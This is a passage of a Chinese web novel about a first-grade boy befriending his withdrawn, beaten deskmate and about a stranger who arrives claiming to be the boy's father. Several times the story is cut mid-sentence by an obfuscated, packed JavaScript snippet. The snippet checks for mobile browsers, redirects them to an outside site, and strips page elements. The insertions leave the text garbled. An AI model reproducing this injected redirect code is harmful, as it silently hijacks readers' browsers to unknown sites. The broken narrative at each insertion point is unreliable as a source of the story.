这让温从简不免有些奇怪地侧过身,悄悄从建材堆里探出了头,然后就见叶惊寒依旧坐在那里,只是微微移动了一下位置,刚好挡住了自己。 因为被挡着,所以叶歌如果不过来肯定发现不了他。 但谁知道叶惊寒会不会告诉她自己在这里。 想到这儿,温从简只觉更加焦急。 叶歌似乎也有些着急,于是大着胆子又问了一次,“叶惊寒,到底有没有人来过这儿啊?” 叶惊寒听到这儿终于有了反应,抬头向叶歌看了过去。 温从简见状知道自己肯定是要被抓住了,正想出去。 然而没想到叶惊寒却摇了摇头,回道:“没有。” 温从简听到这儿不由一愣,原本正准备迈出去的脚步也瞬间停下。 他有些不可思议地看向不远处的叶惊寒,然而叶惊寒并没有回头看他,回答完后便重新低下了头,用树枝在地上写写画画。 叶歌对于叶惊寒的话似乎很相信,又或者是可能不敢过来看,因此听完后便转身跑了,之后再也没人来过这里。 温从简就这么一直在这儿躲到了打下课铃。 下课铃响,温从简这才从建材堆里走了出来,叶惊寒也跟着站起身来。 虽然已经发过誓再也不和他说话,但他刚才毕竟帮了自己,因此温从简还是打算勉为其难地去和他道一声谢。 然而没想到的是还没等他过去,叶惊寒便已经离开了。 温从简来到他刚才坐着的位置,看向地面,地上画着的东西大半已经被叶惊寒抹去,只能隐隐看到似乎是一个女人的样子。 - 因为昨天的事,温从简原本发下的坚决不和叶惊寒说话的誓言隐隐有了动摇之意。 只是来学校的路上想了一路也没想到该如何破冰,毕竟叶惊寒这个人实在太难接近。 然而没想到的是到了学校之后温从简才发现自己的想法似乎有些多余,因为叶惊寒今天根本没来上学。 温从简一开始还以为他迟到了,直到第一节课下课叶惊寒都没来,温从简这才隐隐察觉出了一丝不对劲。 于是下课的时候想要去找班主任,向她报告这件事。 然而没想到的是,还没等他走出教室,就见叶惊寒背着书包走了进来。 温从简一看见他,瞬间忘了之前再也不和他说话的誓言,连忙向他走了过去。 “你今天怎么来得这么……” 温从简的话还没说完,便像是被人掐住脖子一般突然哑了声音。 因为叶惊寒抬起了头,他的左脸高高肿起,眼睛也像是挨了一拳,一片乌青。 温从简见状吃惊到直接呆在了原地,一时间竟不知该作何反应。 然而叶惊寒却像是什么都没发生一般重新低下了头,然后坐到了位置上去。 温从简原本刚要去告诉班主任叶惊寒没来的事,如今他来了,自己自然不必再去,于是也跟着坐了回去。 他其实很想问问叶惊寒到底是怎么了?可是不知为何看着他脸上的伤却怎么也问不出口,只是觉得很难过。 他也不知道自己为什么难过,大概是觉得叶惊寒被打成这样一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“所以是他现在的爸爸打的吗?”侯肆刚一说说完便有人问道。 “肯定是,我奶奶说他老打人,以前还打叶惊寒的妈妈,不过后来叶惊寒的妈妈也不在了,估计就只打他了。” “啊……”大家纷纷惊讶道。 温从简听到这儿已经不敢再听下去,虽然他也没有妈妈,但他还有爸爸,爸爸对他很好,从来没有打过他,因此温从简根本无法想象叶惊寒被打时的心情和样子。 大概是同理心太强的缘故,温从简难过了一上午,以至于中午温弥玉刚一接到他就发现了他的不对劲。 “怎么了?”温弥玉问道。 温从简和爸爸之间没什么秘密,于是一五一十地告诉了他。 温弥玉听完后看起来也有些惊讶,握着他的手都紧了紧。 “所以虽然他总是不理我,但我已经不生他气了。” “嗯,你们是同桌,更要互帮互助,做好朋友。” 温从简听到朋友这个词,瞬间郁闷了起来,“我一开始也是想和他做朋友的,但他总是不理我。” “是吗?”温弥玉想了片刻,这才和他说道,“没关系,爸爸可以帮你。” 温从简一听瞬间有些好奇,“爸爸,你打算怎么帮我?” 然后就见温弥玉冲他笑了笑,“看爸爸的。” 温弥玉第二天起了个大早,然后参照着食谱做了两份早餐让温从简带到学校去。 温从简没忍住提前打开看了一眼,然后就见里面装着一个可爱的儿童汉堡,水果,还有玉米。 温从简看得直流口水,恨不得现在就吃,但最后还是忍住了,决定带到学校和叶惊寒一起吃。 然而没想到的是,等他把给叶惊寒准备好的那份早餐放到他面前后,叶惊寒看也没看就把早餐推了回来。 然后冷冰冰地拒绝了他,“不必。” 5. 麻雀 “为什么啊?” 温从简只觉得满心不解,毕竟他爸爸的厨艺虽然没有楼哥哥好,但也堪称一绝,别的小朋友都喜欢买外面的东西吃,但他不会,因为爸爸做的饭比外面卖的更好吃。 所以温从简从没想过居然有人会拒绝他爸爸做的饭。 简直……不可理喻。 大概是他的反应太激烈,叶惊寒终于难得理了他一次,然而却不是回答他的问题,而是反问道:“你为什么要给我带饭?” 温从简原本是想说因为爸爸让我和你互帮互助,做好朋友,但话到了嘴边又被他咽了回去。 不能这么说,这也太没气势了,就好像他很缺朋友,在求着和叶惊寒做朋友一样,明明他的朋友那么多。 因此温从简思索片刻还是改了口,“因为我爸爸做多了。” 叶惊寒明显不信。 温从简也很快反应了过来这个借口有多拙劣,毕竟这明显就是给两个人准备的。 “不是不是……”反应过来的温从简连忙想要改口,重新换一个理由。 然而叶惊寒却已经扭过了头,“你不用同情我。” 同情? 虽然他还没有学过这个词,但温从简却已经知道了这个词的意思,在过去的很多年中,他人知道他只有爸爸时望向他的时候,虽然饱含善意,却莫名让人难受。 于是温从简连忙反驳道:“我没有,我没有同情你,我只是想和你做朋友。” “朋友?”叶惊寒听到这个词愣了一会儿,然后微微侧过了头。 因为他的刻意回避,温从简看不清他的表情,只能看到摇了摇头,像是在告诉自己,也像是在回答温从简,“我不需要朋友。” - 太难接近了,温从简还是第一次遇到如此难以接近的人。 虽然他脾气很好,但也受不了这么接二连三地用热脸去贴叶惊寒的冷屁股,因此温从简第二次在心里暗暗发誓,这辈子再理叶惊寒他是狗。 因为太过生气,也怕辜负了爸爸的好心,温从简下课的时候一个人把两份早餐全部吃了个干净。 结果他有些高估自己的食量,吃完后只觉得肚子胀得简直快要爆开,撑得难受,连一口水都喝不进去。 食物明明已经咽下去了,却像是堵在了嗓子眼,一张嘴就能吐出去。 因为太难受,温从简刚一下课便冲进了厕所想要吐出来,但无论他怎么努力都吐不出来,反而把自己弄得涕泗横流。 叶惊寒似乎也意识到了他的不对劲,上课的时候难得转头看了他好几次。 若是以前温从简早就拉着他说话了,但现在实在没有力气,只能趴在桌上,小声地哼唧。 最后还是英语老师上课的时候发现了他的不对劲,让人去叫了班主任。 班主任查看了情况后立刻联系了他爸爸,让爸爸带他去医院看看去。 爸爸来得很快,脸上是掩饰不住的担心,一见到他就连忙俯身问道:“怎么了?出什么事儿了?” 温从简自然不能说是自己吃了两份早餐撑得难受,但又不知道该怎么解释,只能现编一个理由。 然而还没等他编出来,便觉得胃里一阵翻江倒海,整个人不受控制地哇哇吐了起来。 爸爸见状被他吓得不行,但还是很快便冷静了下来,立刻买了水帮他漱口,又把他吐出来的东西清理干净,这才抱着他去了医院。 他们到医院的时候刚好碰到了医生叔叔,医生叔叔对他和爸爸一向很上心,带着他们忙上忙下,整整折腾了一上午。 最后检查出来并没有什么大事,只是脾胃虚弱,有些积食。 医生开了些药,温从简吃完后就好了许多。 爸爸见他好了些,这才终于放下了心,但同时也有些过意不去,主动提出请医生叔叔吃饭。 医生叔叔没有拒绝,但也没让爸爸破费,挑了医院对面的一家餐厅吃了顿简餐。 温从简一口都吃不下,所以只默默喝完了一碗粥,然后便抬起头来,看医生叔叔和爸爸说话。 医生叔叔是一个很内向的人,并不擅言辞,能明显感觉到大部分时间他都在努力地没话找话,眼睛全程都没有离开过爸爸。 虽然温从简还小,但也能感觉到医生叔叔一定很喜欢爸爸,可是爸爸依旧淡淡的,明显不喜欢他。 那爸爸到底喜欢谁呢?妈妈吗?可是妈妈到底是什么样子?温从简从小到大连一张妈妈的照片都没见过,爸爸也从来不提妈妈,所以温从简一点也想不出,能被爸爸喜欢的人到底是什么样子? “在想什么呢?” 吃完饭后爸爸牵着他的手一起往回走,大概是见他一直沉默,爸爸突然开口问道。 温从简和爸爸之间一向没有什么秘密,因此也没有什么避讳,直接开口问道:“爸爸,你到底喜欢什么样的人啊?” 似乎没想到温从简会突然问这个问题,温弥玉被问得一愣,随即像是回想起了什么,脚步都停了一下。 “爸爸?”温从简被他带得也跟着停下,有些不明所以地叫他。 温弥玉这才回了神一般摇了摇头,“谁也不喜欢,别再问这些了。” 温从简其实有些不信,总觉得爸爸隐瞒了他什么,但爸爸不想说的事温从简从来都是问不出来的,最后也只能作罢。 因为难受,爸爸直接替他和自己请了一下午的假,专门在家陪着他。 温从简知道爸爸这么努力赚钱都是为了他。 从前是为了给他治病,现在则是为了买个房子和他在这里安家,因此温从简十分过意不去,更何况他也不是生病,而是吃撑了。 所以他想让爸爸别管自己了,他一个人会乖乖待在家。 然而爸爸却怎么也不放心,把他抱到怀里让他安心休息。 “那爸爸你也睡一会儿。”温从简已经很久没和爸爸一起睡过了,不免有些有些怀念,把头埋在他胸前说道。 “嗯,安心睡吧。”爸爸说着轻轻拍了拍他。 大概是因为爸爸在身边的缘故,温从简很快就睡着了,这一觉睡了好久,竟然直接睡到了第二天早上。 因为好好睡了一觉,加上晚上没有吃饭,温从简舒服了很多,又有了胃口。 爸爸正在厨房给他做早餐,温从简刚一出房间就闻到了香味。 爸爸竟然蒸了小笼包。 虽然昨天早上吃了两份早餐,但中午之后就没再吃过什么东西,温从简早就饿了,见状立刻跑过去想拿起来吃,但被爸爸拍了一下手,“先去洗漱,不用着急,我一会儿给你装饭盒里,到了学校你和你同桌一起吃。” 温从简听到这儿瞬间想起了昨天的事,脑袋一下子就耷拉了下来。 他其实很想告诉爸爸昨天的事,但爸爸肯定会很伤心,脑海中就这么天人交战了许久,温从简最后还是什么都没说,带着两盒包子到了学校。 因为昨天的事,温从简自然不可能再巴巴地把包子送过去。 所以他原本是打算把另一盒包子分给李栗子和叶歌吃的,然而没想到的是,就在他拿起包子的时候,他那个总是不理人的同桌竟然第一次主动和他说了话。 叶惊寒脸上的伤已经好多了,但不知为何还是一直低着头。 “你昨天下午怎么没来?” 温从简听到叶惊寒的声音后还四处看了半天,不知道他在和谁说话,直到他转头看向自己,这才终于反应了过来。 “你在和我说话?” 叶惊寒没答,像是刚才根本不是他在说话,就在温从简都怀疑自己是不是幻听了的时候,叶惊寒终于再次有了反应,他很轻地点了一下头,然后“嗯”了一下。 温从简不是个记仇的人,虽然昨天还在心里发誓再和叶惊寒说话他是狗。 不过这是叶惊寒主动问他,应该不算吧。 但昨天的事他还生着气,因此立刻激愤起来,“还都不是你因为你。” 叶惊寒因为这句话,终于把头转了过来,有些不解地看向他。 “我昨天给你带的饭你不吃,为了不让爸爸伤心我只能把两份都吃了,然后我一顿吃了两个汉堡,两根玉米,两个鸡蛋,把自己撑吐了,所以爸爸昨天带我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831166|175578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去医院了。” 虽然昨天叶惊寒就看出来他不太舒服,还以为是他生了病,但没想到竟然是撑的,一时间竟不知该说什么。 如果这么说来,那确实和他有着脱不开的关系,叶惊寒其实昨天就已经有些后悔了,他不是石头做的,自然能感觉到温从简一直以来的善意,只是他的自尊心太强,让他受不了一点可能的同情。 但温从简其实并没有做错什么,因此他原本冷静下来后就想道个歉的。 只是温从简却被班主任带出去后就再也没回来,甚至下午都没来上课。 虽然不想承认,但叶惊寒确实还是有那么一些担心他这个同桌。 好在他今天还是来了。 “对……”叶惊寒十分努力地想要从从嘴里挤出这句道歉。 然而话还没说完就被温从简打断,“给你。” 温从简说着从书包里掏出一个饭盒递给他,“这次你不许再拒绝了,不然我又要吃撑了。” 叶惊寒见状不由愣住,抬头看向他。 然后就见温从简已经打开自己的饭盒吃起了早餐。 今天的早饭是小笼包,应该是温从简喜欢的口味,他吃得很开心。 “你怎么不吃啊?”温从简见他一直没有动,有些奇怪地问道,“我爸爸亲手做的,特别好吃,你不会又要拒绝我吧?” 叶惊寒闻言这才回过神一般摇了摇头,也跟着打开面前的饭盒,拿起一个咬了一口。 三鲜蔬菜馅的,确实很好吃。 “好吃吗?”温从简见他终于吃了,连忙凑过来问。 叶惊寒被他吓了一跳,一转头就见温从简满眼期待地凑到了他面前。 太近了,叶惊寒下意识往左侧了侧头,不想让温从简看到他脸上的伤,但却没有躲开,而是点了点头。 温从简闻言仿佛自己得了夸赞,瞬间开心了起来,心满意足地坐直身体继续吃起了自己的包子来。 - 温从简觉得叶惊寒今日似乎有些奇怪。 不仅吃了他带的早饭,而且上课的时候总是回头看他。 若是从前温从简肯定会以为他是想和自己说话。 但是现在坐了这么多久的同桌后温从简已经不会再这么想了,毕竟那可是叶惊寒,不是哑巴,胜似哑巴,因此即使即使一节课两人的目光对上了好几次,温从简也没有再主动试图和他说过一句话。 一直等到下课后,温从简像往常一样起来准备出去玩,没想到刚一起身袖子却突然被人拽了一下。 温从简有些奇怪地回过头,然后惊讶地发现拽住他的人竟然是叶惊寒。 温从简见状不禁有些不解,但更多的还是惊讶,“怎么了?” 他以为叶惊寒找他是有什么事?然而没想到他却摇了摇头,然后松开了手。 温从简更加不解,下课的时间就这么点儿,他还急着出去玩,见他不说话本想离开,但看到叶惊寒犹豫的神情还是停了下来,又问了一遍,“真的没事儿吗?” “……有。” “什么啊?”温弥玉继续追问。 叶惊寒这才终于下定决心一般,和他说了句,“谢谢。” 嗯? 因为太过震惊,温从简觉得自己大脑懵了一瞬,根本没反应过来,“谢我什么?” 然后就听叶惊寒说道:“谢谢你的早餐。” 这句话似乎已经用尽了他所有的力气,叶惊寒说完便扭过头。 然而没想到温从来却满脸笑意地又贴了过来,“我就知道没有人能拒绝我爸爸做的饭,我爸爸手艺可好了,那我以后天天给你带。” 叶惊寒闻言连忙想说不用,然而温从简根本没等他回答,自顾自地说完后就蹦蹦跳跳地跑了出去。 叶惊寒转过头,然后就见温从简已经跑到了操场,外面阳光正好,落在他的身上,像是给他镀了一层金,整个人明媚不已。 不知为何,叶惊寒脑海中突然回想起语文老师说过的话。 他觉得语文老师说得没错,温从简确实很像一只叽叽喳喳沐浴在阳光下的小麻雀。 6. 拥抱 温从简说到做到,从那之后每天都会给叶惊寒带早饭。 叶惊寒为了不让他再吃撑,没再拒绝过他,果然吃人的嘴短,从那以后叶惊寒的态度就对他好了很多,甚至上课的时候还陪他一起说起了话。 但叶惊寒明显还是不怎么喜欢说话,因此说了几次后便换成了传纸条。 温从简为了和他传纸条,还专门准备了一个本子。 不过他很快便发现很多字他都不会写,只能一边翻语文书一边写,但语文书上的字他还认不全,一些只能用拼音,若是碰到不会写的拼音就只能画画。 温从简没学过画画,所以画的东西有时候他自己都认不出,然而神奇的是叶惊寒却每次都能精准地明白他想要表达的意思。 更让温从简无法理解的是,明明他们都上一年级,但不知道为什么叶惊寒会写的字却比他多得多。 这也导致了温从简一开始只是单纯想和他聊天,但后来硬生生被比出了胜负欲。 不仅每天语文课认真听讲,放学回家后还会主动学习拼音和生字,就是为了传纸条的时候比叶惊寒会写的字多。 然而没想到的是无心插柳柳成荫,因为学得太认真,最近的一次生字词听写他竟然得了满分。 因为温从简进步太大,班主任特意点名表扬了他,并再次抒发了把他和叶惊寒的座位调在一起的正确性。 虽然和温从简一开始的目的些不一样,但哪个小学生能拒绝得了点名表扬,所以之后学得更加用心。 当然,他和叶惊寒的关系也越来越好,除了每天的早餐外,温从简还会分给他自己的零食,自己的课外书,体育课也会拉着他一起玩游戏。 叶惊寒一开始是拒绝的,不过温从简现在已经摸透了他的性子,吃软不吃硬,磨了他一会儿后叶惊寒还是同意。 不过叶惊寒的手气不怎么好,第一局就输了,要捉他们。 躲避的时间是六十秒,于是叶惊寒刚一背过身,大家便纷纷四散跑去。 因为路径依赖,温从简下意识便想往上次那个地方躲,但很快便反应过来那个地方叶惊寒已经知道了,要找一个新的地方。 可是躲到哪儿呢? 温从简一边跑一边想,还没等他想出来时间就已经快到了,温从简只能匆匆忙忙地躲到了他们教学楼的厕所里面。 结果一进去就撞见了同样正准备躲进隔间的李栗子。 温从简一看见他就知道完了,毕竟连李栗子都能想到这儿,肯定很容易就会被抓到。 但时间已经到了,这会儿再出去说不定会直接迎头撞上叶惊寒,所以温从简还是硬着头皮躲了进去。 果不其然,刚躲好没多久他就听见了洗手间的门被打开的声音。 虽然没怎么听见脚步声,然而不知为何,温从简却还是瞬间便意识到来人应该是叶惊寒。 躲肯定是躲不掉了,所以温从简现在只能期待叶惊寒会一间一间按顺序找起。 毕竟他躲在最后一个隔间,而李栗子在他右边,如果按顺序的话,他还有一线生机。 可是没想到的是叶惊寒竟然直接走到了最后一个隔间。 低年级的厕所门都很矮,且下面是中空的,温从简可以直接看到外面叶惊寒的鞋。 看着停在外面的鞋子,温从简只觉得一颗心都提了起来,本以为下一秒就会听到叶惊寒敲门让他出去。 然而没想到的是最后响起敲门声的居然是隔壁。 叶惊寒抬手敲了敲隔壁的门,然后叫道:“李栗子。” 紧接着便是李栗子惊讶的声音,“你为什么先抓的我?你不是应该先看到温从简吗?” 既然已经有人被抓了,温从简也没必要再躲着了,于是也推门走了出来,其实他也好奇这个问题。 然而没想到的是刚一出去就听叶惊寒回道:“没有看见。” “怎么可能?我都看见你先走到最里面了?” 叶惊寒并没有解释,只是再次一板一眼地回道:“没有看见。” 虽然在温从简的带动下,如今的叶惊寒已经平易近人了许多。 但班里的小朋友对他还是怕居多,所以李栗子没敢再继续问下去,乖乖认了输。 之后的几局温从简换了地方,且都躲得很好,所以整整一节课都没被抓到过。 因为太过开心,温从简下课的时候买了一包小熊饼干奖励自己。 当然,他也没有吃独食,分给了叶惊寒一半。 叶惊寒本来想拒绝的,但刚一开口温从简便直接拿起一个饼干塞进了他嘴里,叶惊寒的嘴被堵上,拒绝的话就怎么也说不出,只好也跟着吃了起来。 小熊饼干是牛奶味的,可以吃出小麦的味道,很香很甜,不知怎么,叶惊寒一时间竟有些舍不得吃,只是拿起一块小熊饼干在手里看了又看。 “你怎么光看啊?”温从简见状有些好奇地凑了过来,“是不喜欢吃吗?” 叶惊寒原本正在看饼干,闻言一抬头就见温从简凑在他面前,正眼巴巴地望着自己。 温从简是一个很漂亮的小孩儿,眼睛又黑又亮,黑得像是他在电视里看到过的黑色宝石,亮得像是藏了一口源源不断的泉水一般,好看的鼻子又挺又直,嘴巴不大但很红润,像是冬日水果摊上的车厘子。 因为太好看,所以其实第一天入学时叶惊寒就注意到了他,毕竟温从简除了好看外,性格也很好,开朗又明艳,一看就是被娇养出来的孩子。 所以叶惊寒从没想过有朝一日他们会成为朋友,还会分吃同一盒小熊饼干。 “你怎么不说话?”大概是他太久没有回答,温从简等的有些不耐烦,继续开口问道。 叶惊寒这才回过神一般垂眸看向了他,然而却没有回答他的话,而是问道:“你为什么对我这么好?” 对于这个问题的答案叶惊寒想了很久,可是一直都没能想出一个答案。 毕竟他沉闷又无聊,脾气也不好,更不像叶歌那样家里有很多钱,可以买许多零食分给温从简吃。 他什么都不好,什么都没有,所以为什么还要对他这么好?和他做朋友? 温从简不知是被他问住还是从来都没有想过这个问题,被他问得懵了一下,许久才回道:“不为什么呀。” 大概是怕叶惊寒不信,温从简连忙继续说了下去,“你是我的好朋友,我对你好不是应该的吗?如果非要说一个理由的话,可能是因为……我也没有妈妈?” 所以更能理解你吧。 不过后面的话他没有说完,便开始懊恼起了自己的失言。 他怎么把这个秘密说了出来?毕竟他还从来没告诉过别人这件事,因为爸爸叮嘱过他,不要随意告诉别人这件事。 但如果对象是叶惊寒的话……似乎也没什么好怕的。 不知道为什么他对叶惊寒似乎有一种莫名的信任感,总觉得他应该不会说出去。 不过刚说完温从简便反应了过来叶惊寒不喜欢别人同情他,虽然自己并没有同情他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831167|175578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意思,但这话确实有些容易让人误会。 于是温从简连忙想要解释,“不是,我绝对没有……” 然而还没等他说完面前却突然一暗。 叶惊寒不知为何突然俯下身来,轻轻抱了抱他。 - 大概是因为有了共同秘密的缘故,两人的关系简直突飞猛进。 叶惊寒在温从简心里的地位一下子超过了叶歌和李栗子,成了他最好的朋友,连放学都舍不得分开。 因此温从简一直想邀请他来自己家玩,但不知为何都被叶惊寒拒绝了。 所以温从简回家之后只能和楼下的小朋友一起玩。 因为有延时课,作业都在学校写完了,所以这天温从简回家把书包放下后便下了楼。 爸爸正在准备做饭,见状也没拦他,只是让他别玩太久,玩一会儿就回来吃饭。 温从简一边答应一边向外跑。 最近大家都喜欢玩拍卡,温从简很快便掌握了诀窍,每天都能赢很多。 然而今天不知为何,温从简玩得时候总觉得似乎有人在看他。 这种被盯着的感觉并不好受,因此温从简被影响到连连失误,差点把手里的卡输完了。 真奇怪。 因为输得太惨烈,温从简很快就不想玩了,正准备起身回家。 然而没想到就在这时,一辆他从来没见过的车缓缓停在了不远处。 虽然温从简认不出来这到底是什么车,但也能感觉到这辆车一定很贵,毕竟它和周围古旧的建筑实在是太格格不入了。 他们镇上还有这样的车吗? 其他小孩儿也被吸引,纷纷站起身来,但却不敢靠近,只是小声议论起来,“这是谁的车啊?你见过吗?” “没有。” “这是什么车啊?”有人问温从简。 温从简刚想说我怎么可能知道,然而就在这时,不远处的车门突然被人打开。 温从简先看到了一双在电视剧里才看到过的,被擦得锃亮的皮鞋,紧接着是垂感极好的西装裤,西裤包裹着一双修长的腿,只看了一半,温从简便有些被镇住,毕竟这样的装扮他只在电视里见过。 所以是明星吗? 正愣神时,一道阴影突然将他笼住,温从简回过神来,这才发现那人不知何时已经走到了他的面前。 温从简抬起头,第一印象是这人好高,温从简只到他腿,第二印象则是他好好看,简直和爸爸好看得不相上下。 真是不可思议,毕竟温从简长这么大就没见过能和他爸爸相媲美的人。 只是他的好看和爸爸不太一样,爸爸长得很温柔,但这人却不是,五官像是被人一刀刀刻出,虽然眉目俊朗,但却给人一种很锋利的感觉。 不知为何,温从简下意识有些怕他。 但面前的人并没有对他做什么,只是静静地望了他片刻,不知为何,眼眶竟有一点红了。 温从简还没反应过来面前的人到底是怎么了?就见他冲自己笑了一下,然后缓缓在他面前蹲下。 “你叫温从简?” 和他的长相不同,声音倒是很温和,这让温从简的害怕缓解了许多, 虽然不知道他为什么知道自己的名字,但温从简还是点了点头问道:“你怎么知道的?你是谁啊?” 面前的人闻言不知为何沉默了下去,似乎不知该怎么回答。 因此过了许久才终于回答了他的话。 “我是你爸爸。” 7. 玉玉 温从简因为他的话懵了一瞬,但很快便反应了过来,只觉得怒从心头起。 从前也有一个很讨厌的叔叔喜欢让自己叫他爸爸,不过那时候他还不懂事就叫了,但后来爸爸告诉他,那个叔叔是在占便宜,下次遇到这种事情不仅要拒绝,还要骂回去。 但温从简从小到大都没怎么学过骂人的话,因此一张嘴才发现自己根本不知道该怎么骂回去。 反倒把自己气得直跺脚,干脆直接转身向楼上跑去。 他要去找爸爸,让爸爸帮自己骂他。 温从简跑回家的时候温弥玉刚做好饭,见他回来了,立刻道:“刚好你回来了,我还准备下楼叫你,饭做好了,快去洗手吃饭。” 然而温从简却没去洗手,而是怒气冲冲地跑到他面前,一副受了委屈的样子。 “怎么了?”温弥玉见状连忙问道。 然后就见温从简气得满脸通红,指着楼下道:“爸爸,有人占我便宜,说他是我爸爸,你帮我骂他。” 温弥玉听得眉头微皱,他知道有些人总是喜欢打着开玩笑的名义捉弄小孩儿,但他很不喜欢这样,因此立刻说道:“谁这么无聊?” 说着便牵着他的手准备出去,然而没想到他们刚走到门口,大门却先一步被人敲响了。 温弥玉第一反应以为是楼确,毕竟他在这里的朋友不多,常来常往的也就楼确一个。 这个点过来,是又准备给他们送什么饭菜吗? 想到这儿温弥玉连忙打开了门,然而没想到的是门口站着的并不是楼确,而是一个西装革履,明显不属于这里人打扮的人。 “你……” 温弥玉看着外面人的装扮,第一反应是肯定找错了,直到他抬起头,看清了面前人的脸。 待看清那一瞬,温弥玉只觉得整个人浑身一震,随即恐惧如有实质一般,瞬间爬了满身。 大脑还没做出反应,身体已经先一步给出了对策,温弥玉连忙想要关门。 然而面前人的反应却比他更快,直接用手挡在了门口,温弥玉根本来不及反应,门板便已经重重朝他压下。 几乎是瞬间,那人从小到大金尊玉贵养出来的手上便多了一道红印,紧接着便高高肿起。 温弥玉也没想到他会这样,毕竟遇到危险时人的本能应该是躲,怎么还有人主动撞上去?看到他手上的伤,温弥玉握着门把的手瞬间便松了力气,而这也给了那人可乘之机,下一秒竟然就这么直接侧身走了进来。 他明显痛极,手都在抖,却愣是一声没吭,只是近乎贪婪地看着他。 许久,小心翼翼地喊了一声,“玉玉。” 因为这个称呼,过往的记忆瞬间潮水一般漫过温弥玉的脑海,随即便是无尽的痛苦和恨意。 “出去!” 温从简不知道为什么,向来温柔的爸爸突然疯了一般把那个男人往外推,但却怎么也推不出去。 那个男人并没有反抗,只是想要说什么,然而爸爸已经什么都听不进去。 见推不动后便把温从简拉过来紧紧搂在怀里,看向男人的目光满是警惕。 男人似乎看出了他的担心,连忙解释道:“我不是来带走的孩子,你可以放心。” “那你来干什么?我们早就没有关系了。” “我……” 那个男人似乎想说什么,然而还没开口,就见刚才还躲在温弥玉怀里的小孩儿突然冲出来撞了他一下,然后伸出双手想要把他往外推。 一边推一边转头问道:“爸爸,我们要不要报警啊?” 温从简还记得爸爸教过他的话,遇到危险可以打电话找警察叔叔。 他们现在应该是遇到危险了吧。 殳别宴似乎没想到他会这么说,原本温弥玉怎么也推不动的身体竟然真的被温从简推动了,向后退了两下。 还没等他站稳,就听温从简突然冲着门外道:“楼哥哥!” 下一秒,小孩儿便直接跑到了一个看起来不过二十多岁的年轻人面前,扑进他怀里,然后哭了。 小孩儿刚才明显一直在强忍恐惧,如今终于看到了靠山,再也忍不住,一边把头埋进年轻人的怀里,一边放声大哭起来。 “楼哥哥,那个人好吓人,你能不能帮我和爸爸把他赶出去?” 那个被他叫做“楼哥哥”的男人原本看着他还有些愣怔,闻言面色立刻变了,有些不善地看向他,然后抱着孩子越过他挡到了温弥玉的面前,对着他问道:“不管你是谁,现在最好赶紧离开,不然我就报警了。” 殳别宴看着抱着正在哭泣的温从简,挡在温弥玉面前的楼确,下意识想要过去,那明明是他的位置。 然而刚一动作便见温从简抱他抱得更紧,温弥玉也是满脸警惕。 明明谁也没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831168|175578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出声阻止,但他却还是不受控制地停下。 殳别宴知道楼确,这几日他已经粗略地调查过了一遍温弥玉身边的关系,知道他们不过是住在同一栋楼的邻居。 可是即使是对邻居,温弥玉的依赖程度也明显超过他。 是啊,他对自己怎么可能还会有依赖,只会有恐惧。 刚才还不觉得,但此时大概是放松了下来,殳别宴突然感觉右手处传来一阵钻心的痛意。 刚才一切发生得太过突然,温弥玉并没有收力,所以殳别宴是真的被门夹到了,因为没有及时处理,刚才的红肿已经变得青紫,甚至开始发黑,看起来很是可怖。 温弥玉自然也看见了,如果是从前他肯定会第一时间跑过来,心疼地抱着自己的手帮他处理,可是现在他却只是看了一眼,便把目光移开了。 大概是十指连心的缘故,殳别宴突然觉得痛极,那股痛意从指尖连到心口,疼得他差点站不住。 但楼确还在,当着外人的面,殳别宴自然不可能表现出一丝一毫的软弱,因此他只是站直了身体,望着温弥玉给出了一个解释。 “我没想干什么,也不会带走孩子,你可以放心。” 但温弥玉明显不信,“那你来干什么?” “我只是……想看看你。” 温弥玉闻言声音更淡,“你看过了,可以走了。” 殳别宴似乎还想说什么,但也知道今日来得太鲁莽,并不是什么好时机,最终还是强压下了剩下的话,点了点头,然后转身走了出去。 温从简看到那个男人走了,心中的恐惧这才消弭了些许,从楼哥哥的怀里抬起了头,投进了爸爸的怀里。 温弥玉知道他被吓到了,一边轻轻拍着他的背,一边努力安抚他,“没事没事,别怕。” “爸爸,他是谁啊?”温从简在他怀里闷闷地问。 